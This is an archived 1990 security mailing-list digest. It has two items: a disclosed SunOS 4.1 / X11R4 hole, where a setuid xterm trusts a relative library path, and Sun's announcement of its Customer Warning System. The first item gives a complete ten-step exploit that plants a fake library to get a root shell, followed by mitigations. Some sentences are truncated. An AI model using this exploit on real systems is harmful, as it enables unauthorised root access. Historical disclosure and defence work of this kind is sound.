The 'Security Digest' Archives (TM)

Archive: About | Browse | Search | Contributions | Feedback
Site: Help | Index | Search | Contact | Notices | Changes

ARCHIVE: Core 'Security Digest' - Archives (1990 - 1991)
DOCUMENT: Core 'Security Digest' V1 #5 1990-09-10 (1 file, 2076 bytes)
NOTICE: recognises the rights of all third-party works.


Date: Mon Sep 10 10:38:08 PDT 1990
Subject: Core Security Digest V1 #5

Core Security Digest Volume 1 Issue 5


            SunOS 4.1, X11R4 security hole.
            Sun's New Security Service

The unix core security mailing list is by invitation only and contains
sensitive material which SHOULD NOT BE REVEALED to non-members.
If you must keep copies on-line, please encrypt them at the very least.

PLEASE POST TO:                              [email protected]
PLEASE SEND EMERGENCY ALERTS TO:   core-emerge[email protected]
PLEASE SEND REQUESTS TO:             [email protected]


Date: Fri, 20 Jul 90 12:41:24 EDT
From: Felix Lee <uunet!!flee>
Subject: SunOS 4.1, X11R4 security hole.

[ Sorry about the delay, a script that was supposed to tell me when
  there was security stuff older than a week to be moderated didn't
  survive a system re-organization, and business has been too hectic
  lately for me to be checking stuff manually - neil ]

This is the reader's-digest-condensed security report.

Here's a simple ten-step procedure that works on standard X11R4
installations running SunOS 4.1.  Pathnames may vary.
	% mkdir /tmp/xyzzy
	% cd /tmp/xyzzy
	% cat > Initialize.c << EOF
	_XtAppInitialize() { setuid(0); execl("/bin/sh", "sh", 0); }
	XtAppSetFallbackResources() {}
	_XtDisplayInitialize() {}
	% ar x /usr/lib/libXt.a
	% cc -c -pic Initialize.c
	% ld *.o
	% mkdir lib lib/X
	% mv a.out lib/X/
	% cd lib/X
	% xterm
	# whoami

The reason this happens is that X binaries are linked with -L options
that are relative pathnames, like "../.././lib/X", and under
SunOS 4.1 trusts this link-time library path, even on set-id programs.

(I feel this isn't a problem specific to the X11R4 installation. should be more paranoid about set-id programs.  Disallowing
dynamic linking entirely for set-id programs may be a good thing.)

* Recompile xterm and xload with UseExisting defined in the Imakefile.
* Define TOPDIR to be an absolute path, instead of ".", and remake.
* Relink xterm and xload with the -Bstatic option.
* Turn off the set-idness of xterm and xload.


Date: Wed, 15 Aug 90 15:31:38 PDT
From: uunet!Eng.Sun.COM!security-features ( Sun Security Mailbox )
Subject: Sun's New Security Service

This announcement went out internally to Sun yesterday:

.To: All Sun Employees

.From: Beverly Ulbrich - Product Manager, Software Security
      Jack Collins - Director, Technical Support Services

.Subject:  Announcing Sun Microsystem's Customer Warning System
                   for Security Incident Handling

.Date:   August 14, 1990

In order to best serve our customers' service needs, Sun has established a
Customer Warning System (CWS) for handling security incidents.  This is a
formal process which includes:
	- Having a well advertised point of contact in Sun for reporting
	  security problems.
	- Pro-actively alerting customers of worms, viruses or other security
	  holes that could affect their systems.
	- Distributing the patch (and/or work-around) to our customers as
	  quickly as possible.

More specifically, the CWS is being set up as follows:

We have created an email address ( [email protected] ) which will enable
both internal and external people to have a single place to report security
problems.  We have provided a voice-mail back-up ( (415)-336-7205 ) for the
cases where sending email is not possible.   *ALL* SECURITY HOLES SHOULD BE

We have filled the position of "Security Coordinator" in our Customer Service
Organization.  The Security Coordinator is responsible for manning the email
and voice mail hotlines and evaluating the security problems.   We have a
Customer Warning System "SWAT Team" in place to address severe security